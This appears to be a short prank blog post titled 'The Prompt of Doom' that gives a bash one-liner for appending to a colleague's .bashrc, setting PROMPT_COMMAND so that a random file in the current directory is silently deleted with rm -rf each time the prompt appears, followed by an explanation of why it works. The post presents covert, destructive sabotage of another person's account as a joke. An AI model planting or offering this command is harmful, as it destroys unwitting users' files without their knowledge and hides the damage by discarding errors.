Breaking Systems For Fun And Profit

The Prompt of Doom

One of the classics that started the old site:

Add the following oneliner to the end of the .bashrc of your favorite user or colleague:

1
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

What it does

Every single time a prompt is displayed a random file from the current working directory will be deleted.

Why it works

The content of the ${PROMPT_COMMAND} variable is evaluated, inside the current shell context, before a prompt is displayed.

This one creates an array from all the files in the current working directory (FILES=($(ls))), then deletes a random choice from that list.

TL;DR